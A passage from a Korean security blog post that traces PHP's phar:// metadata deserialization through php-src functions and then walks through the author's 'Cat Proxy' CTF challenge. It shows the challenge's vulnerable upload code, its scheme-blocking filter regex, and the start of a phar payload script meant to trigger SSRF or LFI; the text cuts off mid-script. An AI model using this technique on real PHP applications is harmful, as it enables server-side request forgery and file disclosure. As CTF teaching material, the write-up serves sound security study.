<span class="p">...</span> <span class="p">...</span>
<span class="k">return</span> <span class="n">resource</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L1500</span>
<span class="kt">int</span> <span class="nf">phar_open_from_filename</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">fname</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">fname_len</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">alias</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">alias_len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">options</span><span class="p">,</span> <span class="n">phar_archive_data</span><span class="o">**</span> <span class="n">pphar</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">error</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">php_stream</span> <span class="o">*</span><span class="n">fp</span><span class="p">;</span>
<span class="n">zend_string</span> <span class="o">*</span><span class="n">actual</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">,</span> <span class="n">is_data</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">error</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strstr</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">".phar"</span><span class="p">))</span> <span class="p">{</span>
<span class="n">is_data</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">phar_open_parsed_phar</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="n">fname_len</span><span class="p">,</span> <span class="n">alias</span><span class="p">,</span> <span class="n">alias_len</span><span class="p">,</span> <span class="n">is_data</span><span class="p">,</span> <span class="n">options</span><span class="p">,</span> <span class="n">pphar</span><span class="p">,</span> <span class="n">error</span><span class="p">)</span> <span class="o">==</span> <span class="n">SUCCESS</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">SUCCESS</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">error</span> <span class="o">&&</span> <span class="o">*</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">FAILURE</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">php_check_open_basedir</span><span class="p">(</span><span class="n">fname</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">FAILURE</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">php_stream_open_wrapper</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">,</span> <span class="n">IGNORE_URL</span><span class="o">|</span><span class="n">STREAM_MUST_SEEK</span><span class="p">,</span> <span class="o">&</span><span class="n">actual</span><span class="p">);</span>
<span class="p">...</span> <span class="p">...</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">phar_open_from_fp</span><span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="n">fname</span><span class="p">,</span> <span class="n">fname_len</span><span class="p">,</span> <span class="n">alias</span><span class="p">,</span> <span class="n">alias_len</span><span class="p">,</span> <span class="n">options</span><span class="p">,</span> <span class="n">pphar</span><span class="p">,</span> <span class="n">is_data</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">actual</span><span class="p">)</span> <span class="p">{</span>
<span class="n">zend_string_release_ex</span><span class="p">(</span><span class="n">actual</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>phar_open_from_filename</strong> 에서는 입력받은 파일을 stream으로 열어 file pointer를 리턴받고, 해당 값을 인자에 포함하여 <strong>phar_open_from_fp</strong> 를 호출하게 됩니다.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L1586</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">phar_open_from_fp</span><span class="p">(</span><span class="n">php_stream</span><span class="o">*</span> <span class="n">fp</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fname</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">fname_len</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">alias</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">alias_len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">options</span><span class="p">,</span> <span class="n">phar_archive_data</span><span class="o">**</span> <span class="n">pphar</span><span class="p">,</span> <span class="kt">int</span> <span class="n">is_data</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">error</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span> <span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">memcmp</span><span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="n">zip_magic</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span> <span class="p">{</span>
<span class="n">php_stream_seek</span><span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
<span class="k">return</span> <span class="n">phar_parse_zipfile</span><span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="n">fname</span><span class="p">,</span> <span class="n">fname_len</span><span class="p">,</span> <span class="n">alias</span><span class="p">,</span> <span class="n">alias_len</span><span class="p">,</span> <span class="n">pphar</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">got</span> <span class="o">></span> <span class="mi">512</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">phar_is_tar</span><span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="n">fname</span><span class="p">))</span> <span class="p">{</span>
<span class="n">php_stream_rewind</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
<span class="k">return</span> <span class="n">phar_parse_tarfile</span><span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="n">fname</span><span class="p">,</span> <span class="n">fname_len</span><span class="p">,</span> <span class="n">alias</span><span class="p">,</span> <span class="n">alias_len</span><span class="p">,</span> <span class="n">pphar</span><span class="p">,</span> <span class="n">is_data</span><span class="p">,</span> <span class="n">compression</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span> <span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">got</span> <span class="o">></span> <span class="mi">0</span> <span class="o">&&</span> <span class="p">(</span><span class="n">pos</span> <span class="o">=</span> <span class="n">phar_strnstr</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">got</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">token</span><span class="p">),</span> <span class="n">token</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">token</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="n">halt_offset</span> <span class="o">+=</span> <span class="p">(</span><span class="n">pos</span> <span class="o">-</span> <span class="n">buffer</span><span class="p">);</span> <span class="cm">/* no -tokenlen+tokenlen here */</span>
<span class="k">return</span> <span class="n">phar_parse_pharfile</span><span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="n">fname</span><span class="p">,</span> <span class="n">fname_len</span><span class="p">,</span> <span class="n">alias</span><span class="p">,</span> <span class="n">alias_len</span><span class="p">,</span> <span class="n">halt_offset</span><span class="p">,</span> <span class="n">pphar</span><span class="p">,</span> <span class="n">compression</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">halt_offset</span> <span class="o">+=</span> <span class="n">got</span><span class="p">;</span>
<span class="n">memmove</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">buffer</span> <span class="o">+</span> <span class="n">window_size</span><span class="p">,</span> <span class="n">tokenlen</span><span class="p">);</span> <span class="cm">/* move the memory buffer by the size of the window */</span>
<span class="p">...</span> <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>phar_open_from_fp</strong> 의 내부에서는 해당 파일의 타입(zip, tar, phar)이 무엇인지 확인하고 확인하고, 이에 맞는 phar_parse_[extension]file 을 호출해줍니다.</p>
<p>지금 우리는 shpik.phar라는 phar 타입으로 진행하므로, <strong>phar_parse_pharfile</strong>을 호출합니다.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L664</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">phar_parse_pharfile</span><span class="p">(</span><span class="n">php_stream</span> <span class="o">*</span><span class="n">fp</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fname</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">fname_len</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">alias</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">alias_len</span><span class="p">,</span> <span class="n">zend_long</span> <span class="n">halt_offset</span><span class="p">,</span> <span class="n">phar_archive_data</span><span class="o">**</span> <span class="n">pphar</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">compression</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">error</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span> <span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">phar_parse_metadata</span><span class="p">(</span><span class="o">&</span><span class="n">buffer</span><span class="p">,</span> <span class="o">&</span><span class="n">mydata</span><span class="o">-></span><span class="n">metadata</span><span class="p">,</span> <span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="n">FAILURE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">MAPPHAR_FAIL</span><span class="p">(</span><span class="s">"unable to read phar metadata in .phar file </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span> <span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">phar_parse_metadata</span><span class="p">(</span><span class="o">&</span><span class="n">buffer</span><span class="p">,</span> <span class="o">&</span><span class="n">entry</span><span class="p">.</span><span class="n">metadata</span><span class="p">,</span> <span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="n">FAILURE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">pefree</span><span class="p">(</span><span class="n">entry</span><span class="p">.</span><span class="n">filename</span><span class="p">,</span> <span class="n">entry</span><span class="p">.</span><span class="n">is_persistent</span><span class="p">);</span>
<span class="n">MAPPHAR_FAIL</span><span class="p">(</span><span class="s">"unable to read file metadata in .phar file </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">..</span> <span class="p">...</span>
<span class="k">return</span> <span class="n">SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>phar_parse_pharfile</strong> 함수는 실제로 phar을 파싱해주는 함수이며, 복잡하면서도 간단(?)하게 되어있으므로, 궁금하신 분들은 한번 읽어보시길 바랍니다.</p>
<p>이 함수 안에서는 phar을 파싱하기 위한 함수들을 호출해주며, 그 중 <strong>phar</strong>의 <em>Metadata</em>값이 <strong><em>unserialize</em></strong>되는 함수인 <strong>phar_parse_metadata</strong> 이 호출합니다.</p>
<p><strong>phar_parse_metadata</strong> 함수를 보면 다음과 같습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/phar.c#L607</span>
<span class="n">int</span> <span class="nf">phar_parse_metadata</span><span class="p">(</span><span class="n">char</span> <span class="o">**</span><span class="n">buffer</span><span class="p">,</span> <span class="n">zval</span> <span class="o">*</span><span class="n">metadata</span><span class="p">,</span> <span class="n">uint32_t</span> <span class="n">zip_metadata_len</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">php_unserialize_data_t</span> <span class="n">var_hash</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">zip_metadata_len</span><span class="p">)</span> <span class="p">{</span>
<span class="k">const</span> <span class="no">unsigned</span> <span class="no">char</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
<span class="n">unsigned</span> <span class="n">char</span> <span class="o">*</span><span class="n">p_buff</span> <span class="o">=</span> <span class="p">(</span><span class="n">unsigned</span> <span class="n">char</span> <span class="o">*</span><span class="p">)</span><span class="nf">estrndup</span><span class="p">(</span><span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="n">zip_metadata_len</span><span class="p">);</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">p_buff</span><span class="p">;</span>
<span class="nf">ZVAL_NULL</span><span class="p">(</span><span class="n">metadata</span><span class="p">);</span>
<span class="nf">PHP_VAR_UNSERIALIZE_INIT</span><span class="p">(</span><span class="n">var_hash</span><span class="p">);</span>
<span class="c1">// php_var_unserialize 함수는 metadata의 값을 unserialize합니다.</span>
<span class="c1">// 만약 취약한 class가 서버에 존재할 경우, </span>
<span class="c1">// unserialize를 통해 Trigger할 수 있으며, </span>
<span class="c1">// 잠재적으로 RCE의 위험을 가지고 있습니다. </span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">php_var_unserialize</span><span class="p">(</span><span class="n">metadata</span><span class="p">,</span> <span class="o">&</span><span class="n">p</span><span class="p">,</span> <span class="n">p</span> <span class="o">+</span> <span class="n">zip_metadata_len</span><span class="p">,</span> <span class="o">&</span><span class="n">var_hash</span><span class="p">))</span> <span class="p">{</span>
<span class="nf">efree</span><span class="p">(</span><span class="n">p_buff</span><span class="p">);</span>
<span class="nf">PHP_VAR_UNSERIALIZE_DESTROY</span><span class="p">(</span><span class="n">var_hash</span><span class="p">);</span>
<span class="nf">zval_ptr_dtor</span><span class="p">(</span><span class="n">metadata</span><span class="p">);</span>
<span class="nf">ZVAL_UNDEF</span><span class="p">(</span><span class="n">metadata</span><span class="p">);</span>
<span class="k">return</span> <span class="no">FAILURE</span><span class="p">;</span>
<span class="p">}</span>
<span class="nf">efree</span><span class="p">(</span><span class="n">p_buff</span><span class="p">);</span>
<span class="nf">PHP_VAR_UNSERIALIZE_DESTROY</span><span class="p">(</span><span class="n">var_hash</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nf">PHAR_G</span><span class="p">(</span><span class="n">persist</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* lazy init metadata */</span>
<span class="nf">zval_ptr_dtor</span><span class="p">(</span><span class="n">metadata</span><span class="p">);</span>
<span class="nf">Z_PTR_P</span><span class="p">(</span><span class="n">metadata</span><span class="p">)</span> <span class="o">=</span> <span class="nf">pemalloc</span><span class="p">(</span><span class="n">zip_metadata_len</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="nf">memcpy</span><span class="p">(</span><span class="nf">Z_PTR_P</span><span class="p">(</span><span class="n">metadata</span><span class="p">),</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="n">zip_metadata_len</span><span class="p">);</span>
<span class="k">return</span> <span class="no">SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nf">ZVAL_UNDEF</span><span class="p">(</span><span class="n">metadata</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="no">SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>즉, 우리가 처음에 생성한 shpik.phar을 file_get_contents를 통해 열게 될 때, 이 부분에서 <strong><em>unserialize</em></strong>가 발생하게 되는 것입니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ php test.php
Hello?
MAshiro:)
</code></pre></div></div>
<p>마무리를 하자면, <strong>file_get_contents</strong>를 실행하면 아래의 Call Stack의 순으로 실행을 하게되어 <em>metadata</em>의 값이 <strong><em>unserialize</em></strong> 되는 것을 알 수 있습니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ Call Stack ]
zif_file_get_contents -> _php_stream_open_wrapper_ex -> phar_wrapper_open_url -> phar_parse_url -> phar_open_from_filename -> phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata
</code></pre></div></div>
<h2 id="exploit">Exploit</h2>
<p>phar 스키마를 이용해 file 관련 함수를 통한 공격을 할 경우에는, unserialize 취약점이여서 취약한 class를 사용할 경우에 공격이 가능합니다.</p>
<p>또한, unserialize공격을 할때, 취약한 가젯을 모아둔 <a href="https://github.com/ambionics/phpggc">phpggc</a> 라는 툴이 존재합니다. 만약 공격하려는 서버가 해당 툴에서 제공해주는 취약한 가젯과 환경이 일치할 경우, 이를 이용하여 편하게 Phar을 생성할 수 있고, 이를 가지고 공격을 진행할 수 있습니다.</p>
<blockquote>
<p>해당 툴은 java unserialize 툴로써 유명한 <strong>ysoserial</strong> 와 비슷하다고 보시면 됩니다.</p>
</blockquote>
<p>2018년도 TenDollar CTF에서 제가 출제한 Cat Proxy는 이 취약점을 이용한 문제이며, 이를 간략하게 설명 드리는 것으로 마무리하겠습니다.</p>
<p>Cat Proxy문제는 unserialize를 이용한 SSRF문제입니다.</p>
<p>자세한 풀이와 풀 익스플로잇은 다음의 주소를 참조해 주시기 바랍니다.</p>
<p>URL : <a href="http://blog.shpik.kr/2018/Cat-Proxy_writeup/">http://blog.shpik.kr/2018/Cat-Proxy_writeup/</a></p>
<p>Cat Proxy 문제의 경우 Requests라는 Class를 사용합니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">Requests</span><span class="p">{</span>
<span class="k">public</span> <span class="nv">$url</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">url</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">url</span><span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nv">$output</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
<span class="k">echo</span> <span class="s1">'<div class="description">'</span><span class="mf">.</span><span class="nv">$output</span><span class="mf">.</span><span class="s1">'</div>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>하지만, 웹 페이지에서 이를 이용한 기능은 아래와 같이 필터링이 되어있어 원하는 행위를 할 수가 없습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$url</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'url'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/phar|zip|gopher|php|dict|iter|glob|ftp|file|%0d|%0a/i'</span><span class="p">,</span><span class="nv">$url</span><span class="p">)){</span>
<span class="k">echo</span> <span class="s2">"Hacking Detected!<br>What's are you doing now nyaa?!"</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Requests</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>프로필을 업로드 하는 코드를 보면 다음과 같습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'is_login'</span><span class="p">]</span> <span class="o">!==</span><span class="mi">1</span> <span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Login please.');history.back();</script>"</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'uploads'</span><span class="p">);</span>
<span class="nv">$allowExt</span> <span class="o">=</span> <span class="k">Array</span><span class="p">(</span><span class="s1">'jpg'</span><span class="p">,</span><span class="s1">'jpeg'</span><span class="p">,</span><span class="s1">'png'</span><span class="p">,</span><span class="s1">'gif'</span><span class="p">);</span>
<span class="nv">$fname</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">];</span>
<span class="nv">$fname</span> <span class="o">=</span> <span class="nb">array_pop</span><span class="p">(</span><span class="nb">explode</span><span class="p">(</span><span class="s1">'./'</span><span class="p">,</span><span class="nv">$fname</span><span class="p">));</span>
<span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nb">urldecode</span><span class="p">(</span><span class="nv">$fname</span><span class="p">))){</span>
<span class="k">echo</span> <span class="s2">"<script>alert('Already uploaded file.</span><span class="se">\\</span><span class="s2">nPlease change filename.');history.back();</script>"</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$ext</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nb">array_pop</span><span class="p">(</span><span class="nb">explode</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span><span class="nv">$fname</span><span class="p">)));</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Upload Error!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$ext</span><span class="p">,</span> <span class="nv">$allowExt</span><span class="p">)){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Sorry, not allow extension.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$contents</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"jpg"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\xFF\xD8\xFF</span><span class="s2">"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('JPG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"jpeg"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\xFF\xD8\xFF</span><span class="s2">"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('JPEG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"png"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\x89</span><span class="s2">PNG"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('PNG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"gif"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span><span class="o">!=</span><span class="s2">"GIF8"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('GIF is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Something error.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">@</span><span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nv">$fname</span><span class="p">);</span>
<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$mysql</span><span class="o">-></span><span class="nf">real_escape_string</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]);</span>
<span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"UPDATE users SET thumb='"</span><span class="mf">.</span><span class="nv">$mysql</span><span class="o">-></span><span class="nf">real_escape_string</span><span class="p">(</span><span class="nv">$fname</span><span class="p">)</span><span class="mf">.</span><span class="s2">"' WHERE id='"</span><span class="mf">.</span><span class="nv">$id</span><span class="mf">.</span><span class="s2">"';"</span><span class="p">;</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$mysql</span><span class="o">-></span><span class="nf">query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$result</span><span class="o">===</span><span class="kc">TRUE</span><span class="p">){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$fname</span><span class="p">;</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">"<script>alert('Successfully Avatar Change!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">"<script>alert('Upload failed!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>확장자와 header format의 앞 부분을 검사하여 정상적일 경우 서버에 업로드되고 자신의 프로필로 변경이 됩니다.</p>
<p>문제의 취약점은 바로 <strong>file_exists(urldecode($fname))</strong> 함수입니다.</p>
<p>여기서 흥미로운 사실은 <u>phar의 경우 확장자에 민감하지 않아 원하는 대로 변경을 해줘도 작동을 합니다.</u></p>
<p>이를 이용해 Requests class를 사용하면, 필터링에 제한을 받지않기 때문에 우리가 원하는 url을 넣어 SSRF 또는 LFI등 일으키는 것이 가능합니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ini_set</span><span class="p">(</span><span class="s1">'phar.readonly'</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="kd">class</span> <span class="nc">Requests</span><span class="p">{</span>
<span class="k">public</span> <span class="nv">$url</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">url</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">url</span><span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
